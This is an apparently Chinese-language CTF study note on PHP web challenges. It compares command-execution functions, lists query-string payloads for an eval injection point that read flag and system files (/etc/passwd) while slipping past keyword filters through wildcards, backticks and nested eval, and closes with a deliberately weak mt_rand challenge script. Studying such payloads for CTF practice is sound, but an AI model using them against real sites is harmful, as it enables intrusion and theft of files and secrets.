x. 函数

cat与tac都是linux的命令,但是很多时候会过滤cat但是配置者不知道还有tac这个命令,遂推荐用tac

# 获取当前目录
echo getcwd();

# 命令执行如果不直接输出即使命令里面带有cat也是不行的,他只是收集到了结果,不是输出内容,例如 echo shell_exec("cat /etc/hosts");
#                                ( 是否直接输出 )        ( 返回值 )
system("tac flag.php");          会                     最后一行
passthru("cat /etc/passwd");     会                     无
shell_exec("ls");                不会                   完整字符串
exec("ls");                      不会                   最后一行

x. 拓展部分

x.x 命令执行 eval

核心思路是先利用 scandir(".") 扫描当前目录获取文件数组,不过返回结果前两项固定是 ... 分别代表当前目录和上一级目录,因此真正的文件通常从下标 2 开始。很多经典 CTF payload 会配合 array_reverse() 将数组翻转,把 ... 放到末尾,再利用 next()current() 等数组指针函数获取目标文件;而在现代 PHP 环境下,其实也可以直接从 [2] 开始逐个尝试读取文件,很多时候就能直接看到 flag、源码或配置文件。

无过滤

# 高亮显示文件
?c=highlight_file(next(array_reverse(scandir("."))));
?c=highlight_file(current(array_reverse(scandir("."))));
?c=highlight_file(array_reverse(scandir("."))[1]);
?c=highlight_file(scandir(".")[2]);

# 结合命令执行,通常可能会识别关键词flag没法传入,可以用通配符来识别
?c=system("tac fl*.php");

# 也可以用cp命令复制源码为1.txt可直接访问
?c=system("cp fl*.php 1.txt");

过滤 flag system php

# 先/?c=passthru("ls");一下,可以先看看当前目录下有那些文件
?c=passthru("tac fla*");

# 先用 nl 给文件内容加上行号,再用 tac 倒序输出,这样即使内容被翻转,也能知道原本对应的是第几行。
?c=echo shell_exec("nl fla*|tac");

# 利用 PHP 反引号执行 Linux 命令,通过通配符 *任意个字符 与 ?一个字符 绕过 flag/php 过滤,使用 cat 读取目标文件后再通过 tail 输出文件尾部内容。
?c=echo `cat fl*ag.p?p|tail`;

?c=eval($_GET["code"]);&code=system("tac flag.php");

x.x 伪随机数

mt_rand() 属于伪随机数函数,其结果并不是真正随机,而是基于“随机种子”通过固定算法计算得到;当开发者手动使用 mt_srand(固定值) 初始化种子时,后续生成的随机数序列会完全固定,例如第一次、第二次、第三次 mt_rand() 的结果永远一致,因此攻击者只需知道种子即可精准预测随机数,而不是盲目爆破;如果不手动指定种子,PHP 会自动根据时间、系统熵等信息初始化随机种子,所以每次运行程序时生成的随机数通常都会不同。

结论是不要用 mt_rand() 做任何安全相关的事,应改用 PHP random_int 官方文档PHP random_bytes 官方文档;其中 random_int() 适合生成安全验证码、Token、随机ID,random_bytes() 适合生成高强度随机字节流或加密材料。

<?php

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}